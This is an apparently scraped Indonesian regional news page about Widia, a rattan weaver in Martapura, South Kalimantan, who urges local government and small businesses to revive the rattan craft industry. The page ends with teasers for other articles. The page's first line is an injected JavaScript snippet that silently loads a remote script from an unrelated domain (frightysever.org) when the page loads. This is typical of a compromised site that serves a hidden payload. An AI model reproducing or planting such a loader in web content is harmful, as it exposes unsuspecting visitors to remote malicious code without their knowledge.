(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Sejak tahun 70-an, Martapura dikenal sebagai sentra kerajinan rotan. Walaupun bukan daerah penghasil rotan, namun banyak pihak bergantung pada keterampilan para pengrajin rotan asal Martapura, Kabupaten Banjar.
Widia, adalah salah satu warga Banjar yang peduli untuk kembali melestarikan anyaman rotan sebagai sumber perekonomian.
Ditemuinya di sebuah toko produksi di pusat perbelanjaan batu pertama dan kerajinan tangan pertokoan Cahaya Bumi Selamat (CBS) Martapura, Widia menunjukkan beberapa produk anyaman rotannya. Ia mengaku baru saja menjadi penganyam rotan sekitar tahun 2020.
Kendati tergolong pengrajin baru, namun ia melihat industri rotan belum berkembang dengan maksimal bagi masyarakat lokal Kalimantan. Terutama bagi milenial, Widia mengatakan pemahaman akan industri rotan masih sangat minim.
“Dimulai dengan menanamkan pemahaman akan industri rotan pada generasi sekarang tentu berguna untuk memasarkan hasil kerajinan rotan ke pasar internasional,” ujar Widia.
Baca juga : Ketua Umum HIPMI Mardani Maming Duduki Bendahara PBNU
Dengan mengolah bahan baku rotan menjadi kerajinan, Widia mampu memproduksi barang seperti tikar, keranjang, topi, dan lain-lain. Bahan baku rotan pun ia beli dari Kapuas, Kalimantan Tengah dan Rantau.
Kebanyakan, hasil produksi Widia adalah barang permintaan masyarakat dari luar provinsi.
Widia berharap pengrajin rotan ini menjadi perhatian serius Pemkab Banjar maupun Pemprov Kalsel. Usaha Mikro Kecil Menengah (UMKM) Kabupaten Banjar pun harus bergerak memaksimalkan potensi ekonomi daerah dari pelaku UMKM pengrajin rotan.
“Kegigihan dari pihak pemerintah dan swasta bahkan pelaku UMKM itu sendiri sangat dibutuhkan untuk pemulihan ekonomi Kalimantan Selatan dan salah satunya seperti inisiasi program pemberdayaan ekonomi dengan menggelar pelatihan pengembangan pengrajin rotan,” kata Widia.
Menurutnya UMKM di tengah masa pandemi saat ini menjadi sorotan semua pihak, karena keberadaan UMKM sebagai fondasi dasar ekonomi diharapkan dapat kembali stabil. (kanalkalimantan.com/wanda)
Reporter : wanda
Editor : cell
KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More
KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
This website uses cookies.